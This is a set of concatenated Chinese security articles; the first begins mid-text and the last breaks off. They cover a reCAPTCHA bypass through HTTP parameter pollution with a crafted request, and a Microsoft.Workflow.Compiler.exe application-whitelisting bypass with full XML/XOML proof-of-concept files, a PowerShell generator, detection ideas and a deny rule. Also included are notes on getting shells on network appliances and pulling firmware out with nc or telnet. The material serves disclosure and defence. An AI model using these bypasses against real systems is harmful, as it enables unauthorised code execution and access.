Web开发人员需要以自动化的方式测试自己的应用程序，为此，Google提供了一种简单的方法来帮助开发人员在staging环境中“禁用”reCAPTCHA验证。这在谷歌的[文档](https://developers.google.com/recaptcha/docs/faq
"文档")中有详细的记录和说明，简单来说，若想禁用reCAPTCHA验证，需要以硬编码的方式为site和secret参数指定如下所示的取值：
* Site的值: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
* Secret的值: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
## 漏洞利用方法
现在，我们已经掌握了所有的要素，下面来看一看漏洞利用方法:
POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
如果该应用程序存在HTTP参数污染漏洞，并且URL是通过在参数secret之前添加response参数得到的，那么，攻击者就可以绕过reCAPTCHA验证。
请注意，我们需要为含有该绕过漏洞的Web应用程序发送一个精心构造的response参数，其中包含：
1. anything: 只是一个占位符
2. %26: 字符&的URL编码形式
3. secret:待“注入”的参数的名称
4. %3d: 等号=的URL编码形式
5. 6Le…JWe: 用于禁用reCAPTCHA响应验证的secret值
当满足攻击条件时，web应用程序会向reCAPTCHA API发送以下HTTP请求:
POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7
recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu
请注意，该请求包含两个secret参数，第一个是由攻击者控制的（由于易受攻击的Web应用程序中含有HTTP参数污染漏洞），第二个是由应用程序本身控制的。鉴于reCAPTCHA
API总是使用第一个secret参数，所以，该请求的响应总是：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
"success": true,
"challenge_ts": "2018-01-29T17:58:36Z",
"hostname": "..."
}
因为上面的响应是由Web应用程序处理的，所以，攻击者将被授予相应的访问权限。
## 通过上游修复漏洞
实际上，Google是在其REST
API中修复这个安全问题的，并且我认为这是一个非常明智的举措。其实，Google的修复方法很简单：如果/request/passpt/api/siteverify的HTTP请求包含两个具有相同名称的参数，则返回错误。
通过这种修复方式，我们无需给含有HTTP参数污染和reCAPTCHA绕过漏洞的应用程序打任何补丁，就能提供相应的安全保护：真是太棒了！
## 野外的可利用性
要在Web应用程序中利用该漏洞，需要具备两个严苛的条件。首先，应用程序在构造reCAPTCHA
url过程中存在HTTP参数污染漏洞：Github搜索显示，在集成了reCAPTCHA的Web应用程序中，约有60％的程序满足该要求。
其次，包含漏洞的Web应用程序需要先创建带有response参数的URL，然后再创建带有secret参数的URL，即“response=…&secret=…”。奇怪的是，几乎所有的应用程序都使用“response=…&secret=…”这种格式的URL。据我猜测，可能是由于Google的文档和代码示例就是这样做的，而其他人则直接复制了这种格式。
Google在这方面还是很幸运的——如果他们反过来这样做的话，这个漏洞会影响到更多的网站。GitHub搜索显示，只有5％到10％的reCAPTCHA实现方式符合这一要求。
因此，如果我想在野外利用这一漏洞的话，只有约3％的采用reCAPTCHA的网站会受到影响：这并不算太糟糕，因为与其他漏洞相比，这个占比还是很小的。
## 小结
* 对于开发人员：切勿使用字符串连接来创建查询字符串，而应该使用字典来存储键和值，然后对其进行URL编码。
* 对于应用安全专家：HTTP参数污染漏洞是你的朋友。
## 时间线
* 2018年1月29日：向谷歌提交漏洞报告。
* 2018年1月30日：谷歌回复：“reCAPTCHA的工作情况完全符合其设计思想”。
* 2018年1月31日：我恳请他们重新阅读漏洞报告。
* 2018年1月31日：Google要求提供更多信息。
* 2018年2月1日： Google确认漏洞。
* 2018年2月15日：谷歌为该漏洞提供500美元的奖金。随后，我将其捐赠给了慈善机构。
* 2018年3月25日：谷歌发布相应的安全补丁。 | 社区文章 |
# 如何利用Microsoft.Workflow.Comiler.exe执行未签名的任意代码
|
##### 译文声明
本文是翻译文章，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
`Microsoft.Workflow.Compiler.exe`是.NET
Framework中默认包含的一款实用工具，攻击者可以以XOML文件形式来使用序列化工作流，再结合由序列化编译器参数组成的一个XML文件，最终借助该程序执行未经签名的任意代码。本文介绍的这种绕过机制与Casey
Smith之前提到的[msbuild.exe绕过技术](https://web.archive.org/web/20161212224652/http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html)类似。
`Microsoft.Workflow.Compiler.exe`需要传入两个命令行参数，第一个参数为包含序列化`CompilerInput`对象的一个XML类文件的具体路径，第二个参数为待写入序列化编译结果的文件路径。
之所以能够执行任意代码，原因在于`Microsoft.Workflow.Compiler.exe`会调用攻击者提供的.NET
assembly（程序集）中的[Assembly.Load(byte[])](https://msdn.microsoft.com/en-us/library/h538bck7%28v=vs.110%29.aspx)方法（并没有检查代码完整性）。然而单纯加载assembly文件并不会造成代码执行，当以XOML文件形式提供C#（或者VB.Net）代码时，在加载assembly过程中会调用类构造函数。为了实现代码执行，唯一的限制是类构造器必须派生自`System.Workflow.ComponentModel.Activity`类。
这种技术可以绕过许多产品上的代码完整性增强机制，比如Windows Defender Application Control（包括Windows
10S在内）、AppLocker以及其他应用程序白名单产品。我最近已经不怎么关心如何绕过应用白名单，而是重点关注如何通过签名的、信誉度高的内置应用来执行未签名的任意代码。绕过（带有DLL增强检测机制）的应用程序白名单刚好符合我自己新设定的研究标准。
大家可以观看[此视频](https://youtu.be/gBLtcXiOHJ0)了解如何在打全补丁的Windows
10S系统上执行任意代码。这个视频的目的是显示如何绕过代码完整性强制机制，而不是演示如何在10S系统上实现端到端的远程投递攻击。
## 二、PoC
攻击过程可以分为如下几个步骤：
1、将某个XOML文件保存在磁盘上。XOML文件中包含攻击者提供的待编译、加载以及调用的C#或VB.NET代码。恶意执行逻辑需要放在类构造函数中，该类派生自`System.Workflow.ComponetModel.Activity`类。
2、将包含序列化`CompilerInput`对象的XML文件保存在磁盘上。
3、传入XML文件的具体路径，执行`Microsoft.Workflow.Compiler.exe`。
比如，我们可以通过如下命令来运行`Microsoft.Workflow.Compiler.exe`：
C:WindowsMicrosoft.NetFramework64v4.0.30319Microsoft.Workflow.Compiler.exe test.xml results.xml
`test.xml`文件内容如下：
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
`test.xoml`文件内容如下：
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CodeActivity x:Name="codeActivity1" />
<x:Code><![CDATA[
public class Foo : SequentialWorkflowActivity {
public Foo() {
Console.WriteLine("FOOO!!!!");
}
}
]]></x:Code>
</SequentialWorkflowActivity>
`Microsoft.Workflow.Compiler.exe`运行后会编译内联的C#代码，加载编译后的DLL，然后调用`Foo`构造函数，整个过程并没有去检查代码完整性。
## 三、发现过程
我偶尔喜欢扫描系统，检查新的或者已有的一些程序会不会引用不安全的.NET方法（如`Assembly.Load(byte[])`）。我编写过较粗糙的一些[工具](https://gist.github.com/mattifestation/67435063004effaac02809506890c7bb)来检查这些可执行文件，工具返回的结果中就包含`System.Workflow.ComponentModel.dll`。之前我也在输出结果中看到过这个DLL文件，但当时我太懒了，没有去分析哪个EXE引用了这个assembly。
因此第一步就是判断谁调用了`Assembly.Load(byte[])`。这个任务并不难，我们可以使用[dnSpy](https://github.com/0xd4d/dnSpy)工具，在`System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile`方法中找到如下片段：
跟进`GenerateLocalAssembly`方法的执行流程，我们可以看到该方法最终会调用标准的.NET编译/加载方法，之前我在一篇[文章](http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html)中提到过这些方法会调用`Assembly.Load(byte[])`：
单纯加载assembly并不能让程序帮我们执行任意代码，有些时候为了加载assembly我们必须先满足一些条件。幸运的是，`System.Workflow.ComponentModel.Compiler.
XomlCompilerHelper.InternalCompileFromDomBatch`方法会遍历已加载assembly中的每个类型，实例化继承自`System.Workflow.ComponentModel.Activity`类的每个实例，如下图所示：
此时我貌似看到了能够执行任意代码的代码点，接下来我们要澄清需要使用哪种格式，才能满足程序所需的编译器输入数据以及XOML工作流文件。
当`Microsoft.Workflow.Compiler.exe`启动时，会将第一个参数传递给`ReadCompilerInput`方法，后者收到文件路径后，会将其反序列化为`CompilerInput`对象：
因此现在的问题是，我们如何才能生成序列化的`CompilerInput`对象？幸运的是，我发现了一个内部方法`Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper`，可以帮我们完成这个任务：
我使用反射（reflection）技术来访问该方法，编写了一个PowerShell函数来自动生成XML文件：
function New-CompilerInputXml {
<#
.SYNOPSIS
Creates a an XML file consisting of a serialized CompilerInput object.
.DESCRIPTION
New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
.PARAMETER XOMLPath
Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
.PARAMETER OutputPath
Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
.EXAMPLE
New-CompilerInputXml -XOMLPath C:Testfoo.xoml -OutputPath test.xml
Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
.EXAMPLE
New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
.OUTPUTS
System.IO.FileInfo
Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
#>
[OutputType([System.IO.FileInfo])]
param (
[String]
[ValidateNotNullOrEmpty()]
$XOMLPath = 'test.xoml',
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$OutputPath
)
# This assembly won't be loaded by default. We need to load
# it in order to get access to the WorkflowCompilerParameters class.
Add-Type -AssemblyName 'System.Workflow.ComponentModel'
# This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
$WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
# Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
$WFCompilerParams.GenerateInMemory = $True
# Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
$WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'
# Load the assembly
$WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)
# This is the helper method that will serialize the CompilerInput object to disk
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
$TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))
Move-Item $TempFile $OutputPath -PassThru
}
实际上我们只需要改变序列化`CompilerInput`对象中XOML文件的路径/文件名即可。
我们要做的最后一件事情就是澄清如何将C#代码嵌入XOML文件中，首先我们得知道什么是XOML文件。幸运的是，我发现有篇文章中提到可以将代码嵌入XOML文件中。经过多次修改文件后，我终于能够让`Microsoft.Workflow.Compiler.exe`来调用我们的“恶意”构造函数。
这种技术的发现过程就这么简单。我在Windows
10S上做了测试，发现可以执行未签名的任意代码。目前为止，我依然不知道`Microsoft.Workflow.Compiler.exe`的真正功能是什么，也不知道为什么有人需要使用XOML文件，这并不是我的关注重点。目前关于这个程序的公开资料还是比较少，我猜测该程序主要是在微软内部使用。
## 四、检测及规避策略
为了构造检测这种技术的可靠方法，我们需要识别出使用这种技术所需的最小组件集合。
> `Microsoft.Workflow.Compiler.exe`需要使用两个参数。
虽然这句话有点废话，但重要性不言而喻，因为这也是攻击者能够通过磁盘上文件最终控制`Microsoft.Workflow.Compiler.exe`的原因所在。
由于攻击者会千方百计滥用该程序，因此防御方不应该只以来文件名来构建检测规则。我曾写过一篇[文章](https://posts.specterops.io/what-is-it-that-makes-a-microsoft-executable-a-microsoft-executable-b43ac612195e)，介绍如何构建针对可能被滥用的微软应用的可靠检测技术。幸运的是，使用`Microsoft.Workflow.Compiler.exe`本身就不是一种常见行为。
经过测试，我发现即使将`Microsoft.Workflow.Compiler.exe`拷贝到另一个目录并重命名，该程序也能正常执行。
> `Microsoft.Workflow.Compiler.exe`会调用assembly的编译方法。
与PowerShell中的[Add-Type](http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html)以及[msbuild](https://web.archive.org/web/20161212224652/http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html)类似，程序会调用.NET的内部编译方法来编译并加载XOML文件中内置的C#代码。如果C#编译成功，`csc.exe`会以`Microsoft.Workflow.Compiler.exe`子进程的形式运行。我们还可以在XOML载荷中使用嵌入式VB.Net代码，只需要将序列化`CompilerInput`
XML文件`languageToUse`属性中的`CSharp`替换为`VB`或者`VisualBasic`，然后在XOML文件中嵌入VB.Net代码即可。这样处理后，`vbc.exe`将成为`Microsoft.Workflow.Compiler.exe`的子进程。使用VB.Net载荷的`test.xoml`
PoC文件如下所示：
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CodeActivity x:Name="codeActivity1" />
<x:Code><![CDATA[
Class Foo : Inherits SequentialWorkflowActivity
Public Sub New()
Console.WriteLine("FOOO!!!!")
End Sub
End Class
]]></x:Code>
</SequentialWorkflowActivity>
从技术角度来看，使用assembly编译方法还有另一个方面值得注意，这个过程会编译C#/VB.Net代码，生成一个临时的DLL并快速删除。端点安全产品可以通过检测这些临时性DLL来检测这种滥用行为。
> `Microsoft.Workflow.Compiler.exe`参数可以使用任意文件扩展名。
如果我们想根据命令行字符串来构建检测规则，需要注意程序接受的参数不需要以`.xml`作为文件扩展名。攻击者可以使用任意文件扩展名（如`.txt`）作为参数传递给程序。
> 传入的XOML文件无需以`.xoml`作为扩展名，可以使用文件扩展名。
这种技术需要使用磁盘上的两个文件（`CompilerInput`内容以及`C#/VB.Net`载荷文件）才能达到代码运行效果，但这些文件可以使用任意扩展名，因此我们并不推荐使用`.xoml`文件来构建检测技术。
比如，攻击者可以使用如下命令来运行这个程序：
C:WindowsMicrosoft.NETFramework64v4.0.30319Microsoft.Workflow.Compiler.exe test.txt results.blah
`test.txt`的内容为：
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>blah.foo</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
`blah.foo`的内容如下（纯C#代码）：
using System;
using System.Workflow.Activities;
public class Foo : SequentialWorkflowActivity {
public Foo() {
Console.WriteLine("FOOO!!!!");
}
}
## 五、检测方法
我们推荐从以下几方面来构建可靠的、高效的以及准确的检测技术，用来检测`Microsoft.Workflow.Compiler.exe`的滥用行为：
1、审计当前环境中`Microsoft.Workflow.Compiler.exe`的使用情况，正常环境中很少会用到这个程序，但这点需要用户自己去核实。每次运行`Microsoft.Workflow.Compiler.exe`时都应该产生告警事件。需要注意的是攻击者可以任意移动并重命名这个程序，因此需要构建相应的[检测规则](https://posts.specterops.io/what-is-it-that-makes-a-microsoft-executable-a-microsoft-executable-b43ac612195e)。
2、恶意运行`Microsoft.Workflow.Compiler.exe`时会生成`csc.exe`或者`vbc.exe`子进程。
3、在构建或部署Yara规则方面，如果文本文件中包含`<CompilerInput`则可以作为可疑标志。攻击者从`CompilerInput`文件中获取的有价值的信息为实际载荷文件的具体路径，而非载荷文件本身，而载荷文件很有可能至少会包含`Activity`关键词。
这里提一下，这些检测建议只适用于本文描述的这种绕过技术。有许多种攻击场景可以绕过这些检测方法，比如当攻击者利用`CompilerInput`或者`WorkflowCompilerParameters`类中的反序列化漏洞实现代码执行时，就可以规避#2及#3建议的检测方法。
如果大家想测试针对这种技术的检测方法，我也写了一个载荷生成器，大家可以访问[此链接](https://gist.github.com/mattifestation/3e28d391adbd7fe3e0c722a107a25aba)下载。
## 六、缓解措施
微软决定不修复这种Windows Defender Application
Control（WDAC）绕过方法，我个人对此表示理解，毕竟我只是（以非预期的方式）滥用了系统的正常功能而已。考虑到`Microsoft.Workflow.Compiler.exe`现在很少会被使用，开发者很可能在未来的.NET版本中删掉这个程序。然而即使开发者移除该程序，依然存在潜在的威胁，攻击者可以将EXE投放到目标主机上，虽然程序未经微软签名，但的确包含微软的Authenticode签名。幸运的是，Windows
Defender Application Control支持用户将已签名的程序列入黑名单中。
为了生成适用于WDAC策略的黑名单，我们需要运行如下命令：
# Have I mentioned how much I hate Get-SystemDriver? I always have to resort to hacks to extract the info I want
$Signatures = Get-SystemDriver -ScanPath C:WindowsMicrosoft.NETFramework64v4.0.30319 -UserPEs -NoShadowCopy
# Extract the signautre info for just Microsoft.Workflow.Compiler.exe
$SignatureInfo = $Signatures.GetEnumerator() | Where-Object { $_.UserMode -and ($_.FileName -eq 'Microsoft.Workflow.Compiler.exe') }
# Create an explicit block rule based on Original Filename
$DenyRule = New-CIPolicyRule -DriverFiles $SignatureInfo -Level FileName -Deny
New-CIPolicy -FilePath BlockRules.xml -Rules $DenyRule -UserPEs
这样处理后，原始文件名为`Microsoft.Workflow.Compiler.exe`的任意程序都会被阻止。这种方法非常强大，虽然攻击者可以修改这个属性，但就会破坏掉程序的签名，此时程序自然也会被阻止。然而这个规则假设所有版本的`Microsoft.Workflow.Compiler.exe`都使用`Microsoft.Workflow.Compiler.exe`作为原始文件名。
微软一直在维护一个[黑名单策略](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules)，我们可以将官方策略[融入](http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html)自己的策略中，这些策略似乎也会定期更新并合并到Windows 10S策略中，但我并不清楚更新的具体频率。
## 七、时间线
SpecterOps会定期将信息[公开](https://posts.specterops.io/a-push-toward-transparency-c385a0dd1e34)，我们承认攻击者在一些技术公开后动作非常迅速。因此在公开新型攻击技术前，我们会定期向厂商报告问题，提供足够多的时间来缓解问题，并且通知值得信赖的厂商来确保检测技术能尽快推送给所有的客户。
由于这种绕过技术会影响Windows Defender Application
Control（MSRC提供的安全功能），因此我们将该问题反馈给微软。具体时间线如下：
* 2018年7月27日 —报告发送给MSRC
* 2018年7月28日 —MSRC确认收到报告
* 2018年7月30日 — MSRC创建案例编号
* 2018年8月5日 — MSRC复现该问题，建议将其添加到Windows Defender Application Control的[阻止列表](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules)中，暗示他们不会解决这个问题
* 2018年8月13日 — 将本文草稿发给MSRC参考，共同协商本文发布日期为8月17日
* 2018年8月17日— 本文发布 | 社区文章 |
**作者：360漏洞研究院
原文链接：<https://vul.360.net/archives/413>**
## 0x01 简介
lot设备漏洞挖掘，其实核心就是拿到运行在硬件设备内的“软件”，然后就变成了常规的软件漏洞挖掘。剩下的就是常规的漏洞挖掘步骤就跟软件漏洞挖掘步骤一致，进行逆向和审计即可。本文主要介绍机架式、虚拟镜像形式的防火墙堡垒机等安全设备的漏洞挖掘步骤及思路。文后也将展示部分相关设备的漏洞挖掘成果。
## 0x02 固件存储位置及提取方法
通常路由器或摄像头等小型IOT设备的固件一般存放于各种小型flash芯片中，而机架式硬件类型防火墙、VPN类设备区别于其他固件存放的位置在于其多用SSD固态硬盘、SATA2接口的机械硬盘、CF卡、nandflash中，如下图。
这种类型的固件存储方式，通常需要购买相应的读取设备来完成固件提取，例如多功能读卡器、硬盘底座以及iot小型设备研究中常见flash的编程器等，如下图。
无论是物理设备或者一般虚拟机镜像类型设备的固件一般都存放于实体或者物理磁盘中。读取的时候，可以直接使用linux系统直接将虚拟磁盘或者硬件磁盘挂载读取，如下图。
## 0x03 固件加密情况
在将上一步获取的虚拟或硬件磁盘、CF卡直接挂载到linux系统上的时，一般情况下都会直接弹出来磁盘相关文件系统分区内容，如下图，还有时候会遇到加密情况例如弹出需要输入密码才能查阅分区文件系统的固件。对于这种情况，可以使用网上给出的一种方法来进行解密。
这里提到一篇安全客上的文章 (https://www.anquanke.com/post/id/266078)
。此文章是虽然研究目标为Sonicwall虚拟镜像设备，但对于大多数此类型的磁盘加密的情况都是通用的，核心思路都在于使用QEMU去模拟执行，然后下断点执行操作。
## 0x04 Shell获取
进行设备分析之前，像通常的iot设备漏洞挖掘一样，获取到shell将有助于设备的分析，因为在很多情况下，一些重要文件都是在设备运行的时候才会被释放到某个文件夹下。这些文件通常对逆向分析有很大的帮助。而且也可以在可能发生溢出的位置进行调试。
这里就可以使用大多数iot设备漏洞挖掘获取shell的一般思路。
1. 盲测找到命令注入漏洞获取shell。
2. 修改解包后的固件然后重打包植入shell。
3. 连接调试接口获取shell。
4. 将设备磁盘挂载到本地机器上修改固件启动脚本获取shell。
5. 网上查找已存在的公开的漏洞获取shell。
6. 其他一些 … 的方法。
## 0x05固件拖拽
在不对设备磁盘进行操作的情况下，如果想从拿到的shell中获取设备固件，思路想法和iot常规小型设备挖掘常用到的固件打包方式一样。思路有以下几种：
1. 使用内置tar或者zip 等压缩命令将想要拖拽的文件打包到某个http资源目录下，例如js、css等静态文件目录下，然后使用设备自带的http接口获取文件。
2. 如果内部有java、python 等命令 可以创建一个临时http服务下载。
3. 可使用内置telnet、nc 等命令将相关文件直接传输到本地。
## 0x06 攻击面分析
对于这类型大型的安全类设备的漏洞挖掘，最主要的研究方向还是在于未授权的可利用性的漏洞挖掘，有时候是直接在未授权接口就可以挖掘到漏洞达到RCE的效果，有时是需要结合一个绕过认证的漏洞加授权后RCE的漏洞来达到利用的效果。
总而言之，最重要的分析面其实还是未授权的端口，所以这里将所有的未授权接口全部看作攻击面。所以首先就需要去分析整个设备默认状态下所有的可进行未授权交互的所有逻辑，至于如何查看设备所有未授权端口及服务，基本思路和常规iot设备没什么差别，例如利用netstat、nmap命令等等，此处不再赘述。
## 0x07 漏洞挖掘
对于进行漏洞挖掘，其实并没有什么统一的套路，就是常规的软件漏洞挖掘流程。
对于web模块，绝大多数的大型设备内嵌的都是PHP和JAVA写的web服务，所以仅仅需要做相关代码的审计即可。少数情况会遇到纯二进制类型的web服务，逆向分析即可。
对于其他服务，大多数都是二进制类型的程序在监听，所以进行常动静态规逆向即可。
## 0x08 漏洞展示
下面展示部分利用上述步骤挖掘到的国内外部分设备的高危漏洞（已脱敏）。漏洞点不详细标明，读者可自行发现。
**示例一（认证绕过）：**
**示例二（堆栈溢出）：**
**示例三（SQL执行）：**
**示例四（堆栈溢出）：**
* * * | 社区文章 |
# Windows下利用IoDriverObjectType控制内核驱动加载的探索与研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在edr或者其他类型的安全软件我们通常要监测当前系统的内核驱动的加载，通常使用的方法是PsSetLoadImageNotifyRoutine设置模块加载回调例程来监控ring3模块以及ring0模块的加载，回调函数
eLoadImageNotifyRoutine 的第二个参数判断，如果 PID是0 ，则表示加载驱动，如果PID非零，则表示加载DLL。此方法的优点是：
**更底层
方法简单通用**
缺点当然也就是函数太底层，第二就是方法太通用几乎做过进程、线程监控的搞安全内核开发的人基本都晓得，也很容易被发现，而且也会被摘链，而失效。第三到回调函数这步骤的时候有可能内核已经被加载，被加载的内核驱动的入口点已经执行完毕。
本篇文章将会探索一种新方法去监测并且控制内核模块的加载。首先我们要讲解内核加载驱动的过程。
写一个demo的驱动，然后使用VMware双机调试来调试驱动。(VMware双机调试的方法如果不会可以baidu)
连接被调试虚拟机后，在windbg里输入sxe ld demo驱动的名字.sys
然后go，如果加载系统要加载这个驱动windbg会自动停下来。
